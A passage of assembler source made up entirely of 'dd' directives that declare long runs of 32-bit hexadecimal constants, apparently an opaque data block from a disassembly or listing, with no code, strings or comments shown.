9A8F0514h, 5098C23h dd 5CB26E38h, 981CC14Eh, 82E0064h, 0C3EF04A6h, 0BAE274Fh dd 0A0EC8221h, 0D3F0C04Ah, 0C424007Bh, 0BA801618h, 64248820h dd 7A1640FBh, 2CCF4CA0h, 67A8E65Dh, 34701C09h, 0B32D7090h dd 8D86531h, 6517E8DEh, 98564C4Ch, 1205E722h, 2850E354h dd 0D405D86Fh, 0BD4F4763h, 281A6802h, 0E5D84838h, 94509D22h dd 38BCECB8h, 0E5B40169h, 402F2DEDh, 0DC015650h, 94BAFF13h dd 0CA9180F1h, 5DBA4E72h, 0EF400038h, 5BE0C7A8h, 20078A42h dd 92BBE427h, 0E8A0AF74h, 56DD1D17h, 166C0AB2h, 0AD8D00BCh dd 8A084309h, 0D307CE0Bh, 480408A8h, 1023DF49h, 100D7A0Eh dd 0F06EA7C1h, 403A9008h, 0A50306EEh, 601A56ADh, 1287E18Ah dd 0C2327881h, 0C81E3FA2h, 0F00999Eh, 67C9C5F3h, 56847A3h dd 6A8C57D7h, 4FD490DAh, 88B8E20Fh, 9A69E002h, 50470BE9h dd 25D20900h, 0E863E556h, 4963EBC0h, 5A709401h, 2134904Ah dd 8021D449h, 0B47CF9C5h, 48B569Dh, 40F670h, 4CC67F22h dd 888A16D7h, 0CF94014Ah dd 6A762F4Fh, 1081C800h, 0EA2D332h, 0CB89AAF4h, 0BBB24F23h dd 0D6B14000h, 4864C0C9h, 0C8FB02AEh, 775143D1h, 41B404C8h dd 0B204010Fh, 0E0CAC240h, 0E4144B48h, 0E234F8D2h, 0C00884A4h dd 0DCE3A40Eh, 0E9E0303Eh, 0E048A6E3h, 0E1EE005Ch, 98164993h dd 588A5D43h, 5A213500h, 27D2B8E2h, 8D05A8E2h, 2403CC42h dd 9A10E0E2h, 0D3284D09h, 0DE90080h, 347D0263h, 0EA74F5Bh dd 0D16EB000h, 25A514FEh, 0F12ECF1h, 0B28060CCh, 0C34C2229h dd 6B081840h, 59EF090h, 0A0CAFB53h, 8010A80Fh, 16AB6812h dd 0AAAE1265h, 5A307215h, 95F81543h, 8C9A10F5h, 0D011B22Ah dd 3A1D600h, 4FEF4C67h, 1882FBD7h, 0E778A468h, 42A7AC7Ch dd 2784641Ch, 70CD846Eh, 9BF8C925h, 423C66EAh, 68C42D60h dd 0B7315018h, 3E3638E1h, 780F3C4Bh, 63D00910h, 5898E043h dd 7867CDC1h, 0FA2F5050h, 95284C58h, 9D8C7481h, 81747852h dd 0D57E43C6h, 244FA020h, 37CE7A3h, 6BC18C35h, 2E012805h dd 74D062E5h, 2D5B0EBAh, 0EC830CFAh, 0FD0EAA4h, 0EF02A8F2h dd 6C43DAC6h, 42D8FA2Bh, 451A00CAh, 0F7C164E2h, 2C119585h dd 6DE0EF27h, 30012499h, 0A8AD3FA4h, 84E9D374h, 0E0000877h dd 0CB0ACE88h, 1B6E54A3h, 168FC8A8h, 0AF7C08CDh, 8132420Bh dd 0B549AD04h, 0A80118F0h, 0F2A70B4h, 9A4833ECh, 0E14C2C0h dd 460CA5BDh, 684BEB42h, 0A2CF0032h, 5665FDF8h, 0DB284FA0h dd 3507C4F1h, 0DA3126D5h, 0E03EEFA0h, 2A887687h, 0E6B82802h dd 0B8F761B5h, 391F842h, 94E8336Eh, 73D9A4C8h, 0FE1C488h dd 0B58AEF0Ah, 20BBE071h, 9D37h, 392952Ch, 0C26FB800h dd 634C5BD8h, 0E5F70264h, 36BBAC87h, 7FCA1860h, 0EC0F6600h dd 6E6ADDBFh, 0EB7526D0h, 555000CBh, 0D9CA623Fh, 0E02CE81Eh dd 0E517C502h, 1E6850FCh, 397D56A5h, 0D800814Bh, 782961C2h dd 440E983Ch, 0AEF800DEh, 6B1845EFh, 8097DF03h, 8A3B7560h dd 0C7CA018Dh, 0E9C5B66Fh, 259C6D0Eh, 544642h, 0C0830518h dd 0DAF2FD79h, 424450C1h, 103406A7h, 0D093DF1h, 0F6A47780h dd 0CF8B9187h, 6F78677Ch, 4B029902h, 7F194F41h, 3871F489h dd 0B88CA444h, 29B369CBh, 795F80F0h, 7B5D8441h, 0F8251F42h dd 0C9D8003Ah, 0F5A58F8Eh, 93EC6B50h, 951A1800h, 0AD364F01h dd 8D0EEFAh, 51D24282h, 2BEB6300h, 4DE59B61h, 0BC12084Ch dd 8FC82101h, 9EE858AEh, 1335A907h, 6E779D68h, 628C5240h dd 3230C0B5h, 0C3F439D9h, 0DBBD6700h, 0A4AAF516h, 7DE8055Ah dd 0B01809E4h, 0E5A4FD0h, 0CC3C00F1h, 63C8C97h, 3CE0259Fh dd 5027ECE1h, 3945500Ah, 70462D84h, 86FCD32h, 3EC7128h dd 0E90F8AE1h, 3E601055h, 0B9103433h, 507CA5D9h, 0F0D7E584h dd 44264C10h, 92006C20h, 0BACD6F80h, 0A43B009Bh, 1E5836E6h dd 1803176Bh, 7BA6CBEEh, 0E8B1958Ch, 19A71040h, 2258008Ah dd 8ED80D49h, 0FC65138Ch, 0B0A0D320h, 1A6F2442h, 21E78F1Ch dd 0A4817780h, 5A0296F0h, 0B4506CD2h, 27D86806h, 6D9200BFh dd 0AD379BDCh, 1B0DF921h, 0B083A1E5h, 586443F0h, 0ACB4542Ah dd 0ED4C1308h, 2D4E8000h, 0EC03B1h, 820D0BDAh, 64605F10h dd 0A64FD139h, 0AE8040B8h, 0D3F261E6h, 7E791CC1h, 5968052h dd 0DD4FC87Ch, 50289861h, 83B368Ch, 0A400E254h, 689B4BE7h dd 0B2A9FE03h, 74DD0100h, 459CF291h, 44703A5Ch, 17229F66h dd 0A3547942h, 3CDE0204h, 68E7907Ah, 0C98EFDCCh, 0A891E420h dd 78482A50h, 0EED99DDDh, 0C30A42F4h, 0E4836105h, 4CECA5CDh dd 6440F83h, 133F2915h, 23CB009Ch, 7E56A2D2h, 0A9A4B84Ch dd 2DEC4DC0h, 0C58502BDh, 0D740506Eh, 3868B0E8h, 0BC09E908h dd 5467018Dh, 13D9E4Fh, 702C5F08h, 26E85326h, 484E0924h dd 450CE858h, 38DF91E5h, 0C32BDC8h, 53005C7Ch, 0B1552CF0h dd 5EB20BC4h, 6B804CA6h, 0DF53AFDh, 9204200h, 1BE2B814h dd 15B1009Bh, 0DD1D9AC6h, 180F12C0h, 226BB67Fh, 58722D8Ch dd 221400B0h, 92416E37h, 5A4D43D4h, 0B5351298h, 2E182D00h dd 98E72Dh, 485969E2h, 0E5436588h, 98E184E2h, 66D1DDE9h dd 509A8045h, 55FAD001h, 81EAE5F9h, 0F60D2880h, 0D2EF71F1h dd 6C434F2Eh, 0E88DD80h, 6136603h, 48E54E02h, 0AA253020h dd 0FAE832ADh, 0E80EB780h, 4CADC888h, 57A20920h, 8113AFEh dd 5A9108C7h, 52D888F6h, 12B988E9h, 69180349h, 480C074Ah dd 6021C6E5h, 0C14325DBh, 37C8DCE3h, 31D65D8Ch, 63DE6040h dd 4ADDE841h, 5DC813Eh, 48482B1Fh, 0BDE58636h, 0A44F50E1h dd 308C3438h, 2818FA64h, 20E763E0h, 3B588030h, 470DF010h dd 0D0989512h, 0CE80B564h, 2BE80B27h, 24E52AAAh, 0FE16082Ch dd 54F2AC87h, 0ACA0482Dh, 0BE87F0F9h, 8C893E80h, 0A8F10F35h dd 0EA3A3D3Ch, 0E03C9CF9h, 0AA0316E8h, 0A4FAD9h, 5D954DEBh dd 8DE51301h, 247B58h, 69219BC6h, 0B811F41Ah, 0D22220DCh dd 365F98F2h, 420918CAh, 4C568B88h, 28A08788h, 0C8785D50h dd 0A8C80809h, 0DA98F86Eh, 0B20140F6h, 0B464E40Bh, 0D6F65DEAh dd 0A80AC7B0h, 7C00D05h, 0C0BB704Fh, 8B2764A6h, 0AA4AECA2h dd 0C000CAD8h, 80A49DD0h, 0B807F77Eh, 801FC2D0h, 0BF4F02AEh dd 0E4905596h, 0EC2F65CAh, 7D9CC81Ah, 4EFB1641h, 3E240003h dd 17F093B9h, 0C8BA657Ch, 0F03584A1h, 0E02E3497h, 0D100F095h dd 0BA9F5163h, 5CE5169Ah, 18B8A387h, 24F80E25h, 914F2549h dd 0A73A3860h, 0ADCD29Fh, 0E7DE259Ah, 725D09F1h, 0BCA21285h dd 0BE4FC3ACh, 17302F89h, 0FF57F010h, 0CF718A14h, 0D40A5BF8h dd 8C70D43Bh, 7C6280AEh, 71086CBCh, 0D23B01C0h, 0A4513143h dd 0E06AB821h, 0FC6CADh, 22245F48h, 0B4D7B171h, 0D473C400h dd 21ABFBEFh, 58AA0002h, 722EE8A2h, 4700D004h, 0BFE19D5Fh dd 27E9E5h, 99508C3Dh, 10A38309h, 2E005179h, 7F9A4DE6h dd 0FC729CBFh, 3868C067h, 0A0589798h, 0EFCE6A01h, 45FF6CA4h dd 1CF4FCF0h, 80D5F39Bh, 0E3DB02ABh, 0A42DC7C3h, 1FB076D8h dd 2B52035Bh, 86E1BC43h, 671881F2h, 0CC087232h, 7FC69881h dd 8030AE3Ah, 9D5EA670h, 30EDBA4Eh, 603091F1h, 1100B3F3h dd 9212BEF4h, 0F3EF2FFh, 83DCBA3Bh, 3FDAB6C0h, 484164D5h dd 2F8B8240h, 0ABB30760h, 80D8B8D3h, 4C4302F3h, 391D2200h dd 42A057D0h, 0D63A003Ch, 808E7281h, 69036048h, 0FDE7E473h dd 68A01EBAh, 0CB0C007Bh, 0F393DF6Bh, 0E57D8D3Dh, 8001E098h dd 0BE103B02h, 380C48E0h, 61006593h, 0C4D72550h, 6C6118C7h dd 40CB8F98h, 4BC23886h, 52F830D4h, 7243930Eh, 35105858h dd 374700FEh, 4CC7FD3Bh, 847DE707h, 324083Ch, 0F38E9774h dd 1487866h, 3D20D155h, 0D5EBEE88h, 3F18850Bh, 0A8096B12h dd 0F930000Ah, 7EC7EDBEh, 0CB04019Fh, 66FFF83Ah, 0DD84148h dd 0D502A7h, 72E3CB6Ah, 801E6D28h, 3BE63C0Ch, 7E48588Bh dd 89C43B12h, 5A721161h, 42880B9h, 33FC01D3h, 0B78400EEh dd 0B6AC81FFh, 0E30AC369h, 0D06B930Ah, 0BCF68F83h, 84C043DEh dd 98663D0Ch, 0A4A0A9A1h, 0D14C06Bh, 733C6732h, 0E628B0E8h dd 0C0A4882h, 0CCDD6BC8h, 0A3744128h, 0C36A0E19h, 0D040DF60h dd 6C82420h, 0B63A9E80h, 0DC0F5168h, 0A4AB0BECh, 589375E3h dd 8E22C053h, 6064609Ch, 27E86582h, 50036798h, 0AE85C289h dd 2C55A0C1h, 0B40B00B1h, 0BCA59708h, 4400C699h, 82AC4048h dd 24E7D46Ch, 24D5934h dd 0F7C872ABh, 3A842848h, 88C5E47Ch, 8040D321h, 72A937D0h dd 1074609Eh, 86A27C9Dh, 4DE5F500h, 0A62F9A6h, 1FB7EA58h dd 0C015528Fh, 6FC84ABDh, 27004F4Dh, 0AED65020h, 157FA1Eh dd 0B79E6E3Fh, 9515BEC7h, 6940AE0h, 48CA3AB9h, 0BC9A0080h dd 3D70F2FCh, 9490DCB8h, 0B083E529h, 0CB1B1400h, 29B512ADh dd 85BC9DE6h, 0AA3F6B95h, 108A6787h, 91CD0AC2h, 1030E9F8h dd 0B92330C8h, 0DE461D10h, 50FE7600h, 0A1F2EF44h, 7B0892C2h dd 91040354h, 42F3EE83h, 120450A6h, 53ECDE11h, 307228C8h dd 68607BA0h, 6C243A7Dh, 0AD807802h, 2616F56Bh, 0B823308Eh dd 0BC203F58h, 0D31098C4h, 0E4582481h, 60B83AD0h, 0F3143829h dd 20E9BDCAh, 12241134h, 84E87CB1h, 0ED093A06h, 0C4EB0011h dd 622AA78Ah, 0A8000AA4h, 0D035BC67h, 0CFB6FB8Fh, 0D2438778h dd 80BCD971h, 9DB848DAh, 8347802h, 0C14FCEC9h, 0BC5029AAh dd 174C2BAh, 0DF5BC765h, 0A1AC7FCFh, 0AA3CA430h, 3A18C84Ah dd 0E7B837FFh, 2CD649ECh, 720C5C48h, 0DE307726h, 8B091B78h dd 20FAB7C8h, 21C1AD00h, 2991378Eh, 414AF0D8h, 580109B2h dd 0C04EE6BDh, 8AF8F4ACh, 19898CAh, 0A78C513Ch, 0F3B1F09Fh dd 0AAEDC8B0h, 14A3B49Ah, 75395010h, 59D9430Eh, 0E420AF69h dd 0AB7C72ACh, 5DEA0CBh, 0C01C1410h, 8F05FC64h, 0F047867Eh dd 8769A872h, 3CB91C0h, 0AD41FBFh, 0C5F1EE38h, 384D87C4h dd 0D1440448h, 8332DB24h, 20EC1C41h, 31A01E3Ch, 8E0ABE4Ah dd 1C4D20Eh, 0BE50901Fh, 303988FCh, 0A889008Dh, 0BDAE4D0Dh dd 0BFE79C00h, 28FD5B1h, 0C820C177h, 60EF906Dh, 16502B58h dd 940050ACh, 0C545AFCh, 92DAA63Bh, 0CB033494h, 13BFC0D9h dd 0C0C7BC59h, 94C12950h, 188CB363h, 0EE480A2Ch, 0C9A4E819h dd 203012A0h, 8BEC5C4Fh, 1F32C07Dh, 36F588B8h, 121CD20Eh dd 2C3A02D8h, 0B2FC866Fh, 21110010h, 87BE9C8Ch, 97039550h dd 5AC6D4E6h, 606E8F3Ah, 757ECE4Dh, 8EAD0C8Ah, 0AFD882E9h dd 1D5C0CB0h, 0CE190241h, 98EB149Fh, 808818CCh, 549A333Fh dd 0B8CE559h, 89EC22B6h, 95C9034h, 613B810Dh, 6E9AF141h dd 0B67B0B4h, 0CAFB142Bh, 62247831h, 3B0304CCh, 8C80FDD8h dd 60565790h, 58B138EBh, 0A850A60Eh, 0D32E16A0h, 290BBEDEh dd 0C008A043h, 91674D04h, 6E8805CCh, 58A40018h, 3850B0BFh dd 0C9305100h, 0C2D8BD82h, 9EDB1D70h, 62CF8148h, 0BF063F3Ah dd 0FB8E8A41h, 0DD0BC4C8h, 1DE823B3h, 4F200281h, 0FA2E8ECCh dd 1744300h, 2A7271DAh, 0F05341h, 98CB5999h, 3E56FF75h dd 490E851h, 0CAA8C788h, 41956588h, 1872ADB4h, 0F878215Eh dd 4C92E638h, 68C5A632h, 98C4A2C1h, 0ABDC005Ch, 4374C6F3h dd 0AF8E7B0Dh, 94071844h, 4F1CE9F4h, 926B1D2Bh, 0C973A401h dd 0A060AC41h, 0C044AB92h, 0A0C051B7h, 298667BAh, 86CC4AC2h dd 302CAD8Eh, 448C14Ch, 0CB0AA66Ah, 98EF40C8h, 32C818C0h dd 31E71056h, 6D8ED501h, 99D0720Ch, 67870A8h, 8951907Fh dd 0B70B28E3h, 0A1BB7211h, 2D663ED0h, 90B84430h, 8E3B09BCh dd 48A9A058h, 0CE8AB810h, 0C8183492h, 5948EA98h, 0C77F0791h dd 0C21F45FCh, 84977CBh, 3AAC5035h, 0DCA01734h, 640BB31Fh dd 224C043Fh, 0C35CCC0Ch, 39EE98A7h, 0CB0B2414h, 3808C04Ch dd 0C6000AA9h, 6A9779CFh, 37724666h, 8B2011E2h, 0E71E6494h dd 0A7004F4Eh, 0A1768621h, 7DD16D7h, 8C2108Fh, 88AEA689h dd 8867B880h, 3CA048C2h, 116774C8h, 73C5FC50h, 0D3680C00h dd 561EE3h, 50B4CBC1h, 0E8670A92h, 3442BD3Ah, 0D075206Bh dd 93501004h, 41EA9489h, 0D301E31Ch, 0A0C6F2EDh, 378E020h dd 678DB535h, 498E1DC9h, 9BB62200h, 3206F119h, 0A2E0198h dd 0E13FF2C4h, 1A2C307Ah, 0C6FA3302h, 43F44772h, 0E3A28040h dd 5CC8909Ch, 0E50AC4F2h, 0A4E88AA0h, 0C002021Ch, 0DC460AB2h dd 73843A17h, 71448440h, 9208F96h, 0AD8DCE1Eh, 3947C280h dd 0CC5D3C8Eh, 54550010h, 68185D96h, 9BDC2E94h, 0CE72E658h dd 8253D9E9h, 1C7B9E8h, 1880C442h, 0B0F14572h, 0DA18701Fh dd 9638E3D8h, 98807583h, 943E2FFh, 181A9345h, 0F6A74D00h dd 787E99ECh, 0FF91AA01h, 5F859C2h, 7DC50A8Fh, 434E7100h dd 0C714F92Ch, 0BE4FCFh, 0EDD59AE6h, 32725E03h, 51985D07h dd 30641009h, 3CC08A09h, 8E49E53Ah, 0EC912958h, 8B81003Dh dd 0C3E47B56h, 68E2425h, 7A49398h, 0A53F65CCh, 0DA64CC2Bh dd 8D17E090h, 4440EB68h, 32E7D76Ah, 445D00B4h, 0FDC80AADh dd 480C2207h, 502D7C8Eh, 38AB63D9h, 100A7245h, 44960AA8h dd 0A31AA090h, 48669E3h, 0C3177855h, 4B01EFD2h, 50BFEE0Ch dd 0CCD950D7h, 5F900972h, 7381C98Eh, 0D8424E6Dh, 58C3E207h dd 0F23F3BE0h, 0CC8FAFh, 0C8873C27h, 10806719h, 4FD150F6h dd 8C3CF325h, 0B03A3E8Bh, 0C78A6014h, 3C3473D2h, 848FF9Dh dd 0BB3A2474h, 91A4812Ch, 0EA14C470h, 10FC98E8h, 1EC2DF9h dd 0AE0B36BAh, 0E740D406h, 5D6C372h, 13C89266h, 0E7E4003Eh dd 8ADEE583h, 0BA509094h, 0C0D5FCC7h, 0E44173A8h, 3F166C67h dd 9C40849Ah, 86BD3707h, 0FA3746Ah, 0A9C30DAEh, 0B08CC492h dd 0CF00BE18h, 7F6E1F34h, 0CB816635h, 0E8826B20h, 9470EA80h dd 0C0BF3809h, 0A37422D1h, 4803068Eh, 0D0B067E4h, 0B5B01203h dd 2D94F3Ah, 7092AF28h, 0C01F8Eh, 9D07B8E0h, 11D7E90Fh dd 0E5C8D3B3h, 4B208C8h, 0FD4E45E3h, 2177C7C2h, 304FB724h dd 3F768BD0h, 13C84248h, 0D43089B5h, 92F4FDAFh, 7E353038h dd 57171818h, 0B09BB80Bh, 21E8A290h, 0EF78C887h, 0B3D38B15h dd 46C73001h, 881E79F9h, 0BD7430h, 43061D87h, 0B6C2C956h dd 7CDE1492h, 0B93A3643h, 264C7EE5h, 9682551h, 7C467915h dd 78F03C26h, 51003B17h, 528E7C47h, 3F0C3FDh, 0A0846B90h dd 3A1AB38Ch, 6050C583h, 12C61714h, 0B851F1h, 0EAF335ECh dd 0FE30C7E3h, 8FB030A9h, 12F198A5h, 192B214h, 34324C1Ch dd 811F6085h, 100CAC48h, 0B406FECEh, 60B7E83Ah, 8E36BE09h dd 8B4ABA6h, 381F5810h, 4C809012h, 9F2DB45h, 0C643F6Ah dd 0B3995C21h, 40CB0247h, 4BC4D31Ch, 3A580343h, 2910087Ch dd 0C80CBC46h, 0E868D9E5h, 0B9078405h, 89EBECh, 0A82CA2E1h dd 65485026h, 5CA416B0h, 3A23036Ch, 582C4466h, 3FC52C33h dd 1290B488h, 40BD8369h, 0EE8924DCh, 945479E4h, 631374ECh dd 0C4044B06h, 0E700F9A4h, 444C189Dh, 68729A0Ch, 793A70EEh dd 0DD61C96Ah, 0E3EB2802h, 2A4DD070h, 8E8217A8h, 1223EC00h dd 263AFEADh, 87985B94h, 0D7EECAh, 0B835E6B9h, 1211365Ch dd 5801BD8Ah, 604D2331h, 0C0AC30h, 26115CF7h, 8D508539h dd 94816B0Ah, 2503F8AEh, 0A47866h, 695A9C18h, 0E21E3A60h dd 5658F892h, 4C702C6Ah, 0FFF5308h, 94890A55h, 0B4217000h dd 0E703E48Ch, 2C2FC640h, 0B6A001EEh, 0C4B0826h, 60070A8h dd 0AFBD0107h, 399B5ED0h, 0F88C5BE4h, 310A571h, 0CC62E33Fh dd 20720DBCh, 0C4242870h, 8E8F02C3h, 0CD2E75Ch, 18176C6Bh dd 10074FBCh, 1E604C5Bh, 0A1AA9E72h, 984086B4h, 0B29BC957h dd 7CA64C54h, 1F65E200h, 0CF91C87Fh, 0E50878C7h, 0AA80DD74h dd 3B0DF2A2h, 0E25C7455h, 666F9B00h, 0F1ECD347h, 1811C930h dd 1E698F18h, 15ECAA8h, 0ED873B26h, 81AB31EEh, 2773C648h dd 22D8451Ch, 71AB00FFh dd 5E46B2BFh, 9C20E537h, 9470E8Ah, 6906A94h, 26CB39B9h dd 0CEB60170h, 0FA9BA75Ch, 7225F0C9h, 300B18CCh, 0F29A02DCh dd 37083A01h, 0FEC0B107h, 33D5BF9h, 0C6C34063h, 5814D123h dd 3F3883E6h, 88A6B071h, 0E2CA69h, 0E36A68E4h, 398466B8h dd 28B52737h, 65C24620h, 343600E4h, 8D7AAA52h, 48C135D6h dd 26D36C81h, 1F84F4h, 459E251Dh, 5A59C668h, 0B82AA21Eh dd 69818D40h, 3C2126D6h, 0A8014F84h, 39F15878h, 0B818F75Fh dd 5E70D21Dh, 0A59132CFh, 141064E0h, 3A5506CEh, 30480739h dd 0FF7B8F78h, 0BD37BCA9h, 0D93E58h, 91115B6h, 0E20BC9h dd 296594AAh, 0AF34C4C3h, 2698BB00h, 0EECFB5E8h, 38EF827h dd 85CE5F8Fh, 33D815DEh, 57032E97h, 1139A6B7h, 9700089h dd 1AA4FACh, 3401E541h, 0A0990B26h, 0FEC0CE11h, 70DE0080h dd 5FECADCCh, 0CF1A755Dh, 1358AE2Ah, 0B69DB0ECh, 348D1422h dd 4400A08Fh, 0AE40F9D7h, 41B0D279h, 3AB17114h, 94E800BCh dd 0B6C6B9A4h, 6640C011h, 0E20C8537h, 3C873300h, 4FAA0AEBh dd 20426A2Ah, 20A52454h, 0A0190FA4h, 0C8A321E6h, 2030D87Bh dd 0A20130D6h, 0EA7112E2h, 0DD0007A0h, 24B680DAh, 924A7BAh dd 0C3C24495h, 905049EAh, 43240708h, 0B86094B4h, 0A9122C39h dd 14409294h, 121110BAh, 2180E5B0h, 20C80B3Ch, 0DA817A5Ch dd 6F8CA3F3h, 7163501Eh, 9850EB8Fh, 0B990C198h, 27510CA8h dd 1A074207h, 0C9B739CAh, 8E6138CAh, 0BC24DDDAh, 4F1CA04Bh dd 590A423h, 0D4F282F0h, 0C28407EAh, 20E02FE2h, 75E9EFF3h dd 7F4CC600h, 0C7A0F1A6h, 0E43C646Dh, 872487EBh, 0EE48CCBCh dd 8D2110C1h, 58A43609h, 0BFE01D3h, 0D49589B9h, 7B494B39h dd 0B43C1EE0h, 1040A90Ch, 0E22E3071h, 0F7157FE0h, 0EB354C0Ah dd 4091E45Ah, 2FCFB3Dh, 0CF508FB3h, 2863BC97h, 0C8C1FABBh dd 0E849D204h, 5209089Fh, 0E82884CDh, 0ED3A33F4h, 7FBBC708h dd 61571813h, 0F19A7100h, 0CD3748h, 994EC02Dh, 7A587C71h dd 98C88EC2h, 3458481Eh, 1020E1BDh, 0AEC53071h, 0DB87CFB8h dd 0E4F2B209h, 7289882h, 29D8B238h, 87F85D86h, 0EB3E6ACAh dd 0BB01340Fh, 80CB6EC6h, 4833DF60h, 0C5AAE1C8h, 0C0BD3871h dd 0EA114288h, 939C300h, 5C4765FAh, 826005ABh, 81B4A354h dd 40848F47h, 0C61DA7CFh, 0E6CA5800h, 245DE438h, 0A2AE1FCBh dd 0D34A00FCh, 0DB63DCFh, 92DB8E00h, 6BD9B2F2h, 890C9150h dd 0F0A0A63Eh, 101C202Dh, 6EB3E200h, 71E770C6h, 35B8096Ch dd 2809DAh, 8BC706D8h, 0FB00823Ah, 726A46E1h, 2466BBE3h dd 6440C183h, 0DC001F51h, 0C78AE31Ah, 480B60B7h, 3D7B661Ch dd 3641C318h, 92AAF24Ch, 0C6C10CC8h, 0EC28162Ch, 8D344092h dd 1CD87027h, 89607B9h, 0C02ECD57h, 0B2EDE839h, 0CC09A107h dd 0D4E1F33Dh, 30619566h, 0DFFE0801h, 95AAC34h, 1684A048h dd 30B48C88h, 35C32EE1h, 11057134h, 0CA98FC80h, 423C9246h dd 45112E3Ah, 1F3F8500h, 18B10ECCh, 0B0FAEBC8h, 30C0E3B0h dd 0D7D547DAh, 413914DDh, 1100B445h, 0BCAECA02h, 0C314B322h dd 8CACD372h, 31B73912h, 29F889A9h, 0BC708937h, 18948813h dd 2D10EA10h, 0E857296Ah, 9F6CC600h, 0ADFEAA0h, 44C129CEh dd 0BD742608h, 0E45466A4h, 934CC49Eh, 98CBD48h, 0E62002C0h dd 2A74469Dh, 90EC1A55h, 0C7091CBCh, 37C183A9h, 8FC24E65h dd 0D7B60880h, 0C906989h, 6DF37119h, 119E6738h, 24A86893h dd 6744254Fh, 9410894Ch, 0C0835BCEh, 4C50BC32h, 0B8408091h dd 841150AAh, 894CA18Eh, 0B3429C30h, 71C08008h, 43C48ED1h dd 3ED910C4h, 101EB084h, 8FF09A98h, 0DA49C06Dh, 92D869F1h dd 0A06418C9h, 0D4364CA8h, 0ADDC00C5h, 0B69FCEE1h, 4800D525h dd 0EAB8E6BFh, 48E9C6C0h, 9DA55091h, 0D3BC6054h, 0CA8458F9h dd 6C4DD40h, 0C807577Dh, 2E0310BDh, 0BA928E56h, 639AA0CAh dd 7D8BE226h, 78427BDCh, 0DEAE39D5h, 857B103h, 3871CD9Fh dd 6492509h, 0C7A821ADh, 0F08C6878h, 0B3D8DC09h, 0C818D979h dd 2118A6F8h, 0CF483BB7h, 56231380h, 6B454A4h, 34397D09h dd 0AC582010h, 0C024468Dh, 0D39EAFD8h, 0A500B1EDh, 0B68066E4h dd 92F84DC6h, 7B3B0F90h, 17E224h, 0B6B2DF44h, 90786502h dd 0E5089150h, 0C0148350h, 477DEE14h, 0C1FA0894h, 1FE9404Ah dd 3D200A57h, 562074B8h, 0E84DA4C1h, 219D4176h, 50F88704h dd 39A15AC1h, 0C9E2668Dh, 0FA02B280h, 0EC00D204h, 0B511AF27h dd 0F128E558h, 0AC62018Eh, 31C73C44h, 3201C38h, 64C730BDh dd 0C6BA1606h, 1818B7BEh, 515F88B5h, 7C943C71h, 5C304F00h dd 0E2E8BAh, 0D0C4091Ch, 6505EACBh, 4EBC4C00h, 0C0BD268Fh dd 9BA92C17h, 0BF117F8h, 6822D234h, 8909EA47h, 18740050h dd 1EF093F6h, 409B9CE4h, 0EEBDFA61h, 49183995h, 0C3D065F5h dd 5A140070h, 0F03DE536h, 5F4CFB25h, 6520FA0h, 95D5C0E0h dd 60918EC1h, 86D93040h, 0F7F2DF50h, 3C84C249h, 852CBB38h dd 81FFD4E3h, 30E61080h, 0BD3E001Ah, 0BCC80908h, 0BF004F6Dh dd 1F853BE5h, 0BB1E7D4h, 0AE698DA1h, 142818A0h, 0D7F80D50h dd 4600BF8h, 0C845F618h, 0F49AB2h, 88859765h, 0C7B05A74h dd 30171D24h, 0F97B4D81h, 0A880ED22h, 27E0160Ch, 49C3288Dh dd 0F83D59FEh, 584F7194h, 8458CC87h, 9C8FE71h, 2FBE39A1h dd 84046C09h, 95008036h, 0BF0944EDh, 0B852EB25h, 59FA24h dd 0B1E0AFE1h, 783669CEh, 0A4C42E16h, 70111C00h, 288D38F6h dd 4C94C055h, 1E0AC42h, 0A060353Ah, 7AE21D18h, 4FE292h dd 20DD5E99h, 4871160Dh, 76C6949h, 0B049A495h, 0D959C650h dd 0E8AC0E7Ah, 0A65DF0ECh, 6F18B0F4h, 1F00FF90h, 0AE11A8B5h dd 92DBAD8Dh, 1C6C3E58h, 25CCF017h, 8728002Ch, 0E2414606h dd 8DDCB109h, 0BD68419Eh, 16AC3064h, 2E33BBAh, 7C80C774h dd 713F84C8h, 0A0759230h, 5FCAB9Bh, 448D4626h, 48BC4029h dd 9E1B8C50h, 17070905h, 9C922B71h, 20D06834h, 75CEE4EDh dd 0D6B60023h, 8F1C9EF9h, 6D672C4Fh, 7A64B968h, 640FC0C1h dd 1DB5892h, 0BF27EB80h, 9C60FA66h, 0DD81EDF1h, 6B372C74h dd 0FC0860EFh, 49324E0h, 0E4AC2339h, 0B502CC30h, 33EDDB9Ah dd 4CC0C213h, 838F0634h, 60C4BB5Ch, 8B042E98h, 0F88A7142h dd 0C628DC92h, 8040EE54h, 80EB054h, 83AA1458h, 0C22722BFh dd 0CD20C8DAh, 0E67892B3h, 0E5EE17h, 5DFD9689h, 0AFD921E6h dd 0D1022890h, 0B702BABEh, 0A1148CF5h, 2ECE80C3h, 0D10435FCh dd 0ECEE64C5h, 0C0D004C4h, 0C444B471h, 0B38767A0h, 804F2018h dd 80513B58h, 0A89AE8C1h, 60804F25h, 0A0FF17D4h, 0A8C08Dh dd 84B82E51h, 5648D12Ah, 0CA428901h, 621715Eh, 0C2695880h dd 6A920BE2h, 0D63A3E17h, 1DB4C420h, 813400A1h, 375689C9h dd 9338E97Bh, 13E703Bh, 70C18ED1h, 0C74D871Ah, 6F6CAA90h dd 6EECF80Dh, 0E9032604h, 0A08799Fh, 1F74C268h, 24DE89h dd 3BC5320Ch, 0BD005558h, 77D1A17h, 345D5F7h, 8105E5C1h dd 4B7601C5h, 1D2AF507h, 0EBCF1703h, 562886EFh, 402B0118h dd 0E831236Ch, 328F46E9h, 55435B1Eh, 1050D90Ch, 0B04107B3h dd 39B0424h, 5BA32CD8h, 840F3898h, 0B35C1131h, 6600022Ah dd 0AADD0C8Bh, 75D7A15h, 0FFF9F1E9h, 5350B610h, 51663A52h dd 8030B300h, 8C0FEDC3h, 24D48A36h, 0C0760F12h, 898305EBh dd 4C1807DCh, 0E210E3D0h dd 9479C427h, 93BA003Fh, 15713647h, 0A802EAC1h, 24348980h dd 9100E0BEh, 0F2311C4Dh, 6D6015Eh, 4C6835Ah, 8B722287h dd 0B0C121E6h, 0CD1EE99Ch, 515B8E80h, 0FE2553B9h, 0CF29661Fh dd 79A9E68Dh, 33503306h, 0DEEC148Bh, 5251B107h, 79B61FBAh dd 6337FAF4h, 0E18954DBh, 80EB07B9h, 5684BD0Eh, 0F2012C42h dd 610AFA5Dh, 0EF804272h, 0A39FC36Bh, 0D1408E2Dh, 6001B9B1h dd 81468705h, 0C0DF35F1h, 1CD9F716h, 83C1E1D1h, 49E3E907h dd 0E6023478h, 88B0F02h, 0EE0E4825h, 0A7900137h, 5EF08932h dd 0B4C24148h, 